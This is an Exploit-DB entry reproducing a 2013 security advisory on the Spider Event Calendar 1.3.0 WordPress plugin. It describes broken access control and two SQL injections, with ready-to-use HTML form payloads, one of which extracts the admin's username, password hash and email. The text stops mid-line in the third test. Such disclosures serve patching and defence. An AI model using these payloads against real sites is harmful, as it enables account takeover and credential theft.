Exploit-DB #25723
Description: WordPress Plugin Spider Event Calendar 1.3.0 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2013-05-26
Author: waraxe

Exploit:
[waraxe-2013-SA#104] - Multiple Vulnerabilities in Spider Event Calendar Wordpress Plugin
===================================================================================

Author: Janek Vind "waraxe"
Date: 22. May 2013
Location: Estonia, Tartu
Web: http://www.waraxe.us/advisory-104.html


Description of vulnerable software:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Spider Event Calendar is a highly configurable plugin which allows you
to have multiple organized events in a calendar. This plugin is one of
the best WordPress Calendar available in WordPress Directory. If you
have problem with organizing your WordPress Calendar events and displaying
them in a calendar format, then Spider WordPress Calendar Plugin is the
best solution.

http://wordpress.org/extend/plugins/spider-event-calendar/
http://web-dorado.com/products/wordpress-calendar.html

Vulnerable is current version 1.3.0, older versions not tested.


###############################################################################
1. Insufficient access check for AJAX operations in "calendar.php"
###############################################################################

Reason:
1. weak access control implementation
Preconditions:
1. must be logged in as Wordpress user
Impact:
1. Any Wordpress user can edit Spider Calendar

Php script "calendar.php" line 197:
------------------------[ source code start ]----------------------------------
add_action('wp_ajax_spidercalendarinlineedit', 'spider_calendar_quick_edit');

add_action('wp_ajax_spidercalendarinlineupdate', 'spider_calendar_quick_update');
function spider_calendar_quick_update(){
    
    global $wpdb;
    
    if(isset($_POST['calendar_id']) && isset($_POST['calendar_title']) && isset($_POST['us_12_format_sp_calendar'])){
        $wpdb->update(
...
function spider_calendar_quick_edit(){
    global $wpdb;
    if(isset($_POST['calendar_id'])){
        $row=$wpdb->get_row(
------------------------[ source code end ]------------------------------------

We can see, that AJAX actions "wp_ajax_spidercalendarinlineedit" and
"wp_ajax_spidercalendarinlineupdate" are bound to functions "spider_calendar_quick_edit"
and "spider_calendar_quick_update". This two functions are meant to be used only
by admin, but there is nothing to stop low privileged users. Even users with
"Subscriber" access level can use those two AJAX functions. 

Test:

<html><body><center>
<form action="http://localhost/wp351/wp-admin/admin-ajax.php?action=spidercalendarinlineedit"; method="post">
<input type="hidden" name="calendar_id" value="1">
<input type="submit" value="Test">
</form>
</center></body></html>

Result: calendar editing form will be shown

Remark: This weakness in access control makes next two SQL injection vulnerabilities
much more critical - there is no need for admin privileges, even low level
Wordpress user is able to exploit these vulnerabilities.


###############################################################################
2. SQL Injection in "calendar.php" function "spider_calendar_quick_update"
###############################################################################

Reason:
1. insufficient sanitization of user-supplied data
Attack vector:
1. user-supplied POST parameter "calendar_id"
Preconditions:
1. must be logged in as Wordpress user


Php script "calendar.php" line 199:
------------------------[ source code start ]----------------------------------
add_action('wp_ajax_spidercalendarinlineupdate', 'spider_calendar_quick_update');
function spider_calendar_quick_update(){
    
    global $wpdb;
    
    if(isset($_POST['calendar_id']) && isset($_POST['calendar_title']) && 
        isset($_POST['us_12_format_sp_calendar'])){
...
        $row=$wpdb->get_row("SELECT * FROM ".$wpdb->prefix."spidercalendar_calendar
            WHERE id=".$_POST['calendar_id']);
------------------------[ source code end ]------------------------------------

As seen above, user-supplied POST parameter "calendar_id" is used in SQL query
without any sanitization, resulting in SQL injection vulnerability.

Test:

<html><body><center>
<form action="http://localhost/wp351/wp-admin/admin-ajax.php?action=spidercalendarinlineupdate"; method="post">
<input type="hidden" name="calendar_title" value="1">
<input type="hidden" name="us_12_format_sp_calendar" value="2">
<input type="hidden" name="calendar_id" value="0 UNION SELECT 1,(SELECT 
CONCAT_WS(0x3a,user_login,user_pass,user_email)FROM wp_users WHERE ID=1),3,4,5,6,7">
<input type="submit" value="Test">
</form>
</center></body></html>

Result: in case of success it will be revealed sensitive information about
Wordpress user with ID 1: username, password hash and email.


###############################################################################
3. SQL Injection in "calendar.php" function "spider_calendar_quick_edit"
###############################################################################

Reason:
1. insufficient sanitization of user-supplied data
Attack vector:
1. user-supplied POST parameter "calendar_id"
Preconditions:
1. must be logged in as Wordpress user


Php script "calendar.php" line 197:
------------------------[ source code start ]----------------------------------
add_action('wp_ajax_spidercalendarinlineedit', 'spider_calendar_quick_edit');
...
function spider_calendar_quick_edit(){
    global $wpdb;
    if(isset($_POST['calendar_id'])){
        $row=$wpdb->get_row("SELECT * FROM ".$wpdb->prefix."spidercalendar_calendar
             WHERE id=".$_POST['calendar_id']);
------------------------[ source code end ]------------------------------------

We can see, that user-supplied POST parameter "calendar_id" is used in SQL query
without any sanitization, resulting in SQL injection vulnerability.

Test:

<html><body><center>
<form action="http:/